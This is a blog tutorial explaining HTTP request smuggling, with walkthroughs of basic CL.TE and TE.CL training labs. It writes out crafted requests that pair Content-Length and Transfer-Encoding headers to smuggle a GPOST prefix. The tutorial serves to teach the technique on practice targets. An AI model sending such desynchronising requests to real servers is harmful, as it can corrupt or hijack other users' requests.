HTTP request smuggling Explained and Exploited Part 0x1

Hi! My name is Hashar Mujahid and today we will sneak a peek into Request Smuggling Vulnerabilities.

So let’s look into what HTTP request smuggling is!

What is HTTP request smuggling?

HTTP request smuggling is an exploitation technique in which a malicious request is inserted inside an original request, which is then processed by the backend server. In this attack, the malicious request is smuggled and processed.

Content-Length and Transfer-Encoding 

Headers play an important role in successful HTTP request smuggling attacks.

What happens in an HTTP request smuggling attack?

When the front end of the application sends a request to the backend, it sends multiple parallel requests from other users at the same time, and all of these requests are sent over the same backend network.

Multiple users , request over the same backend network and the colors shows the boundaries

So it is crucial that both the front end and the back end know where one request ends and another one begins. Otherwise, an attacker might be able to send an ambiguous request that gets interpreted differently by the front-end and back-end systems:

As we can see in the above image, the attacker sends an ambiguous request which is wrongly interpreted by the backend, and the request becomes part of the other user’s request.

How do HTTP request smuggling vulnerabilities arise?

The HTTP protocol provides 2 headers to represent the end of the HTTP request

Content-Length

Transfer-Encoding

Content-Length:

The content length specifies the length of the request in bytes.

for example:

Content-Length: 3421312

Transfer-Encoding:

This header specifies that the message body uses chunked encoding. The chunk size is represented in hexadecimal bytes. The message is terminated if the chunk size is 0 bytes.

Transfer-Encoding: chunked

We mostly see this header in server response due to this some servers don't support this header as a client request.

If the front-end and back-end servers behave differently in relation to the (possibly obfuscated) Transfer-Encoding header, then they might disagree about the boundaries between successive requests, leading to request smuggling vulnerabilities.

EXPLOITATION:

HTTP smuggling attack involves placing both Content-Length and Transfer-Encoding in the same request so that the front-end and back-end servers process the request differently.

Types Of HTTP Smuggling Attacks:

• CL-TE: Front-end uses Content-Length and backend uses Transfer-Encoding .
• TE.CL: Front-end uses Tranfer-Encoding and backend uses Content-Length .
• TE.TE: The Transfer-Encoding header is supported by both the front-end and back-end servers, but one of the servers can be convinced not to process it by obfuscating the header in some way.

CL.TE vulnerabilities:

Here, the front-end server uses the Content-Length header and the back-end server uses the Transfer-Encoding header. We can perform a simple HTTP request smuggling attack as follows:

POST / HTTP/1.1 
Host: vulnerable-website.com 
Content-Length: 13 
Transfer-Encoding: chunked  
0 
 
SMUGGLED

LAB: HTTP request smuggling, basic CL.TE vulnerability

This lab involves a front-end and back-end server, and the front-end server doesn’t support chunked encoding. The front-end server rejects requests that aren’t using the GET or POST method.

To solve the lab, smuggle a request to the back-end server so that the next request processed by the back-end server appears to use the method GPOST.

Access the lab:

Change the request method to POST.

POST / HTTP/1.1
Host: 0a5c005b031de1e4c0ef4924003b00cb.web-security-academy.net
Cookie: session=HrbfSiDceLLxPD6b5u1w47m0v9R4xY3n
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: none
Sec-Fetch-User: ?1
Te: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 0 
ADD Transfer-Encoding:

and modify the request.

POST / HTTP/1.1
Host: 0a5c005b031de1e4c0ef4924003b00cb.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 8
Transfer-Encoding: chunked
0
G

Send this request 2 times the first response should be 200 ok and the second response should be

We can see the server was unable to recognize the method but how we send the POST method is why the response shows GPOST.

It is because due to our header manipulation the server got confused between the content length and the transfer encoding and couldn't determine the end of the first request we send the data left behind was appended to the next request which made the POST to GPOST.

If we send the L in the post data of the first request we would get an LPOST error in the next request’s response.

TE.CL vulnerabilities:

Here, the front-end server uses the Transfer-Encoding header and the back-end server uses the Content-Length header. We can perform a simple HTTP request smuggling attack as follows:

POST / HTTP/1.1 
Host: vulnerable-website.com 
Content-Length: 3 
Transfer-Encoding: chunked  
8 
SMUGGLED
0

Lab: HTTP request smuggling, basic TE.CL vulnerability

This lab involves a front-end and back-end server, and the back-end server doesn’t support chunked encoding. The front-end server rejects requests that aren’t using the GET or POST method.

To solve the lab, smuggle a request to the back-end server so that the next request processed by the back-end server appears to use the method GPOST.

We need to create an error that says

"Unrecognized method GPOST"

This one is also pretty much the same to some extent as the previous one.

we need to capture the GET request.

Change the GET method to POST.

Remove unnecessary Headers.

Add the Transfer-Encoding: Chunked header to the request

Add our payload to create the error.

5c  ===> 92 bytes
GPOST / HTTP/1.1 
Content-Type: application/x-www-form-urlencoded 
Content-Length: 15  
x=1 
0

But most important uncheck the “UPDATE CONTENT LENGTH ” in the repeater.

POST / HTTP/1.1
Host: 0ad8008b037e46d8c01669a5007c004d.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0

We need to add /r/n/r/n sequence after the ending 0. {{just press enter 2wice}}.

Send this request 2times and you will see an error.

We can see the same thing happened here The malicious request was left behind and executed with the second request we made which turns it into.

GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
POST / HTTP/1.1
Host: 0ad8008b037e46d8c01669a5007c004d.web-security-academy.net
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:105.0) Gecko/20100101 Firefox/105.0
Content-Type: application/x-www-form-urlencoded
Content-Length: 4
Transfer-Encoding: chunked
5c
GPOST / HTTP/1.1
Content-Type: application/x-www-form-urlencoded
Content-Length: 15
x=1
0

That’s why the application throughs an error.

In the next blog, we will learn how to perform the exploitation of TE.TE vulnerabilities.

Till then.Happy Hacking ❤.

From Infosec Writeups: A lot is coming up in the Infosec every day that it’s hard to keep up with. Join our weekly newsletter to get all the latest Infosec trends in the form of 5 articles, 4 Threads, 3 videos, 2 GitHub Repos and tools, and 1 job alert for FREE!